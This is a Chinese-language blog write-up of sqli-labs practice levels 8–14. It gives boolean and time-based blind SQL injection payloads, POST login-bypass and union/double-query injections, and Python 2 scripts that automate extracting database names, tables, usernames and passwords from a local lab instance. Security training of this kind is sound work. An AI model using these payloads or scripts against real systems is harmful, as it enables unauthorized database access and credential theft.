sql-libs游戏笔记(8~14)

在这里插入图片描述

Less-8(基于布尔的单引号GET盲注,有Python脚本)

同样为盲注,输入id=1,显示You are in…在这里插入图片描述
输入id=1’,显示不正常:在这里插入图片描述
输入id=1’–+,页面有显示正常了。

没有任何提示,因为它把错误信息隐藏了,所以并不能用显错式注入,只能用盲注。且说明后台用单引号闭合,在这里插入图片描述
那么,报数据库长度:

1' and length(database())=8--+ 或
1' and length(left(database(),1000))=8--+

报数据库名组成:

1' and ascii(substr(database(),1,1))>98--+
1' and ascii(substr(database(),2,1))>98--+1' and left(database(),1)='s'--+
1' and left(database(),2)>'sa'--+

爆表个数:(盲注需要猜表和字段的个数)

1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+

爆每个表的长度:

1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>4--+
1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))>4--+
......

报表名组成:

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>100--+
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1)>100--+
......1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='u'--+
1' and left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)>'ua'--+


盲注一般是写脚本或者使用工具辅助,否则手动盲注需要大量时间

下面就看看查询库名的python2.7代码

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli-labs/Less-8/?id=1%27'  # 这个url要对应你自己的url
payload = " and%20left({d}(),{n})=%27{s}%27%20--%20k"
# 上面两个可以合并为一个,但没有必要,(本来就是我拆开的)
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']  # 字典
str1 = "You are in..........."  # 就是通过返回的页面里有没有这个字符串来判断盲注有没有成功
# 开始对比database()
database = ''
for i in range(1, 10):  # 相当于C语言的for循环1~9 其实这里应该先判断database有多长的
    for ss in list1:  # 相当于for循环遍历list,然后把每一项赋值给ss
        p = payload.format(d='database', n=i, s=database+ss)  # 把payload里的{d},{n},{s}赋值
        u = requests.get(url+p)  # 访问网页
        # print p
        if str1 in u.content:  # 如果str在网页内容里面
            database += ss
            print u"正在对比database第", i, u"个字符",
            print database
            break
print u"对比成功,database为:", database
# 开始对比user()#user也是同理
user = ''
for i in range(1, 20):
    for ss in list1:
        p = payload.format(d='user', n=i, s=user+ss)
        u = requests.get(url+p)
        # print p
        if str in u.content:
            user += ss
            print u"正在对比user第", i, u"个字符",
            print user
            break
print u"对比成功,user为:", user
print u"database-->", database
print u"user-->", user
a = raw_input()

然后是盲注表名:

# -*- coding:utf8 -*-
import requests
url = 'http://127.0.0.1/sqli-labs/Less-8/?id=1%27%20'
payload = 'and%20ascii(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=' \
          'database()%20limit%20{t},1),{w},1))={A}%20--%20k'
# 我把上面的substr改成了substring按理说mysql里substring和substr是一样的但是如果出错了记得改回substr
list1 = [64, 94, 96, 124, 176, 40, 41, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 173, 175, 95, 65, 66, 67, 68, 69, 70, 71,
         72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103,
         104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 44]
str1 = "You are in..........."
tables1 = ''
tables2 = ''
tables3 = ''
tables4 = ''
for i in range(0, 4):
    for j in range(1, 10):
        for s in list1:
            p = payload.format(t=i, w=j, A=s)
            u = requests.get(url+p)
            if str in u.content:
                if i == 0:
                    tables1 += chr(s)
                    print u"正在对比第1个表,", u"第", j, u"个字符",tables1
                elif i == 1:
                    tables2 += chr(s)
                    print u"正在对比第2个表,", u"第", j, u"个字符", tables2
                elif i == 2:
                    tables3 += chr(s)
                    print u"正在对比第3个表,", u"第", j, u"个字符", tables3
                elif i == 3:
                    tables4 += chr(s)
                    print u"正在对比第4个表,", u"第", j, u"个字符", tables4
                    break
print 'tables1-->', tables1
print 'tables2-->', tables2
print 'tables3-->', tables3
print 'tables4-->', tables4
a = raw_input()

然后盲注users的字段名:

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
         'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli-labs/Less-8/?id=1%27'
payload = '%20and%20left((select%20column_name%20from%20information_schema.columns%20where%20table_schema=%27security'\
          '%27%20and%20table_name=%27users%27%20limit%20{w},1),{n})=%27{c}%27%20--%20k'
# payload其实就是url的后半部分,也是盲注的关键代码,也可以和url变量合并
column = ['', '', '', '', '']
str1 = 'You are in...........'
# 以上四个变量就是与本次盲注相关的变量了
for j in range(0, 3):
    for i in range(1, 9):
        for l in list1:
            p = payload.format(w=j, n=i, c=column[j]+l)
            u = requests.get(url+p)
            if str in u.content:
                column[j] += l
                print u'正在对比第', j+1, u'个字段第', i, u'个字符', column[j]
                break
for c in range(0, 5):
    print 'column', c+1, '-->', column[c]
a = raw_input()

最后就是盲注记录了:

# -*- coding:utf8 -*-
import requests
list1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 
         'w', 'x', 'y', 'z', '@', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', '!', '-', '|', '_', 'A', 'B', 'C', 
         'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 
         'Z', '.']  # 字典
url = 'http://127.0.0.1/sqli-labs/Less-8/?id=1%27'
payload = '%20and%20left((select%20username%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
str1 = 'You are in...........'
username = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
password = ['', '', '', '', '', '', '', '', '', '', '', '', '', '']
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload.format(n=i, w=j, d=username[i-1]+l)
            u = requests.get(url+p)
            if str in u.content:
                username[i-1] += l
                print u'正在对比第', i, u'个记录的username的第', j, u'个字符', username[i-1]
payload2 = '%20and%20left((select%20password%20from%20users%20where%20id%20={n}),{w})=%27{d}%27%20--%20k'
for i in range(1, 15):
    for j in range(1, 11):
        for l in list1:
            p = payload2.format(n=i, w=j, d=password[i-1]+l)
            u = requests.get(url+p)
            if str1 in u.content:
                password[i-1] += l
                print u'正在对比第', i, u'个记录的password的第', j, u'个字符', password[i-1]
print 'id    username    password'
for i in range(1, 15):
    print i, '-', username[i-1], '-', password[i-1]
a = raw_input()

Less-9(基于时间的单引号盲注)

输入id=1:显示You are in…
在这里插入图片描述
输入id=1’、id=1"、id=1’)…不管输入什么都,无论正确还是错误他都只会显示you are in…;所以只能用基于时间的盲注
我们的依据是从初始画面变到有you are in…出现其前有无延迟:
从:
在这里插入图片描述
到:
在这里插入图片描述
输入

1 and sleep(5)--+   无延迟;1报错所以sleep(5)没执行
1' and sleep(5)--+    明显有5秒的延迟;1'没报错,所以sleep(5)执行

所以可知,后台代码参数仅由单引号闭合。
之后利用if(expr1,expr2,expr3)函数:
如果 expr1 是TRUE ,则 if()的返回值为expr2; 否则返回值则为 expr3。if() 的返回值为数字值或字符串值

猜数据库名长度:

1' and if(length(database())=4,sleep(5),1)--+    无延迟
1' and if(length(database())>7,sleep(5),1)--+    有延迟
1' and if(length(database())=8,sleep(5),1)--+    有延迟

猜数据库名组成:

1' and if(ascii(substr(database(),1,1))>105,sleep(5),1)--+
1' and if(ascii(substr(database(),2,1))<127,sleep(5),1)--+    1' and if(left(database(),1)='s',sleep(5),1)--+    有延迟
1' and if(left(database(),2)='se',sleep(5),1)--+   有延迟

在这里插入图片描述
猜表的个数:

1' and if((select count(table_name) from information_schema.tables where table_schema=database())>3,sleep(5),1)--+

猜每个表名的长度:

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>4,sleep(5),1)--+

猜表名的组成:

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(5),1)--+
或
1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='u',sleep(),1)--+
......

猜字段个数:

1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=1,sleep(5),1)--+ 没有延迟
......
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1)--+ 明显延迟

接着挨个猜解字段名长度
采用二分法即可猜解出各个字段名。

猜解数据
同样采用二分法。

Less-10(基于时间的双引号盲注)

输入:

1 and sleep(5)--+   无延迟
1' and sleep(5)--+    无延迟
1" and sleep(5)--+    有明显延迟

说明后台双引号闭合,这道题跟less 9一摸一样,只不过是单引号闭合变为双引号闭合。
在这里插入图片描述

Less-11(POST - Error Based - Single quotes- String (基于报错的POST型单引号字符型注入))

基于报错也就是有报错回显,且能从报错中得到后台单双引号闭合等信息
在这里插入图片描述
画面与原来截然不同。从这一关开始我们开始进入到post注入的世界了,什么是post呢?就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。(POST型的sql注入无非就是测试后台闭合方法,万能密码试试,爆数据啥的)
例如我们在less11中我们输入正确的用户名和密码后,显示:
在这里插入图片描述
检查元素可以看到用户名和密码两个参数分别为uname和passwd,于是便可在Burp中提交参数uname=xxx&passwd=xxx:
在这里插入图片描述
那我们思考下如何进行注入呢?
在post过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到的sql语句,那么我们是否可以像get型的一样构造我们想要的payload呢?

输入:

username: 1
Password: 123(随便输)

无报错,无回显
在这里插入图片描述
当我们输入:

username: 1'
Password: 123(随便输)

在这里插入图片描述
报错,但是发现1’没有报错,2为什么两边只有一个单引号,看源码:
在这里插入图片描述
应该是加进去的单引号跟前面的单引号闭合,剩余的单引号与password前面的单引号闭合,最后剩余了password后面的单引号,所以就造成了123’ LIMIT 0,1,回显的时候括起来就变成了’123’ LIMIT 0,1’。
所以为了方便看,我们仅在password处试验:
在这里插入图片描述
这样就方便了。页面报错,说明后台代码为单引号闭合,url处无变化,说明为post。
在这里插入图片描述
我们试一下万能密码登录:
输入:

username: 1' or 1=1#
Password: 123(随便输)

登录成功:
在这里插入图片描述
之后为了方便我们在hackbar里进行操作,与在登录框中输入一样的:

猜sql语句中的字段数:

POST数据: 
uname=1' order by 1#&passwd=123       正常
uname=1' order by 3#&passwd=123       报错

在这里插入图片描述
可知sql语句中有2个字段。
猜注入点(回显位置):

POST数据: 
uname=admin' union select 1,2#&passwd=123

在这里插入图片描述
发现并无回显1,2。原来后台也是用了mysql_fetch_array()函数,且无循环,所以其执行一次就只会先一行,即username=admin的查询记录,所以我们要让union select前面的查询结果为空,让后面的查询顶上去。

POST数据: 
uname=1' union select 1,2#&passwd=123

在这里插入图片描述
爆出全部数据库:

POST数据: uname=1' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=123

在这里插入图片描述
爆出当前数据库:

POST数据: uname=1' union select 1,database()#&passwd=123

在这里插入图片描述
爆表:

POST数据: uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=123

之后操作就都会了吧。。。

Less-12(基于报错的双引号POST型字符型变形的注入)

输入:

username: 11'
Password: 123(随便输)

都是无回显,无报错
当我们输入:

username: 1"
Password: 123(随便输)

在这里插入图片描述
可知后台为 双引号 和一个 括号 闭合,即 (“变量”) 闭合,直接绕过。

直接过了…

Less 13 POST - Double Injection - Single quotes- String -twist (POST单引号双注入)

输入

username: 1'
password: 123

报错:
在这里插入图片描述
这里应该是加进去的单引号跟前面的单引号闭合,剩余的单引号与password前面的单引号闭合,最后剩余了password后面的单引号。
在这里插入图片描述
如,我们这样:在这里插入图片描述
可知后台仅仅用了单括号单引号来闭合。
我们试试万能密码,来玩一下:
在这里插入图片描述
可是却没有显示信息,只能用双查询注入,
猜sql语句中的字段:

POST: uname=1') order by 3#passwd=123

无回显,那我们就可以用双查询注入猜字段数:

POST: uname=1') union select count(*),1,concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a#&passwd=123   (注意count()与concat()之间有个1)//报错:The used SELECT statements have a different number of columns

POST: uname=1') union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.tables group by a#&passwd=123   

在这里插入图片描述
在这里插入图片描述
一次不能成功,多刷新几次终于爆出数据库名。
爆表:
在这里插入图片描述
其余操作前面有不再细说。

Less 14 POST - Double Injection - Double quotes- String -twist (POST双引号变形双注入)

变为双引号闭合,操作同less 13

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值